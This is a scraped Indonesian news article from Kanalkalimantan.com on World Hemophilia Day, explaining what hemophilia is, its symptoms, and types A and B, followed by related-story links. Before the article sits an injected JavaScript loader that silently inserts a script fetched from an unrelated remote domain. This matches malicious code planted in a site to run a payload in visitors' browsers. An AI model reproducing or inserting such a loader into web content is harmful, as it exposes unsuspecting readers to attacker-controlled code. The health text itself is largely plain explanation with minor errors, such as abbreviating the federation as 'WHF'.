(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Hari Hemofilia Sedunia dimulai oleh World Federation of Hemophilia (WHF).
WHF adalah komunitas internasional yang memulai peringatan ini pada tahun 1989. Tanggal 17 April dipilih untuk mengakui Frank Schnabel pendiri WHF.
Hari Hemofilia Sedunia bertujuan untuk meningkatkan kesadaran tentang hemofilia dan gangguan perdarahan lainnya.
Membantu mengumpulkan dana untuk pasien yang tidak mampu membayar pengobatan hemofilia serta menarik sukarelawan untuk Federasi Dunia Hemofilia.
Baca juga: Minta Kasus Korban Begal Bunuh Pelaku Dihentikan, Ini Saran Kabareskrim ke Kapolda NTB
Apa Itu Hemofilia?
Hemofilia adalah suatu penyakit kelainan darah yang diturunkan, yang artinya diturunkan dari ibu kepada anaknya pada saat anak tersebut dilahirkan.
Darah pada seorang penderita hemofilia tidak dapat membeku dengan sendirinya secara normal. Proses pembekuan darah pada seorang penderita hemofilia tidak secepat dan sebanyak orang lain yang normal.
Penderita akan lebih banyak membutuhkan waktu untuk proses pembekuan darah. Bagi pasien hemofilia, pengobatan dan perawatan harus dilakukan seumur hidup.
Penderita hemofilia kebanyakan mengalami gangguan perdarahan di bawah kulit seperti:
– Luka memar jika sedikit mengalami benturan, atau luka memar timbul dengan sendirinya jika penderita telah melakukan aktivitas yang berat.
– Pembengkakan pada persendian, seperti lutut, pergelangan kaki atau siku tangan.
Baca juga: Jadi Tempat Nyabu, Sebuah Bengkel Oli di Liang Anggang Digrebek Polisi
– Penderitaan para penderita hemofilia dapat membahayakan jiwanya jika perdarahan terjadi pada bagian organ tubuh yang vital seperti perdarahan pada otak.
Hemofilia terbagi atas dua jenis, yaitu: 1. Hemofilia A (Hemofilia Klasik karena jenis hemofilia ini adalah yang paling banyak kekurangan faktor pembekuan pada darah), terjadi karena kekurangan Factor VIII protein pada darah yang menyebabkan masalah pada proses pembekuan darah. 2. Hemofilia B (disebut Christmas Disease; karena ditemukan untuk pertama kalinya pada seorang bernama Steven Christmas asal Kanada; terjadi karena kekurangan Factor IX protein dalam darah yang menyebabkan masalah pada proses pembekuan darah. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.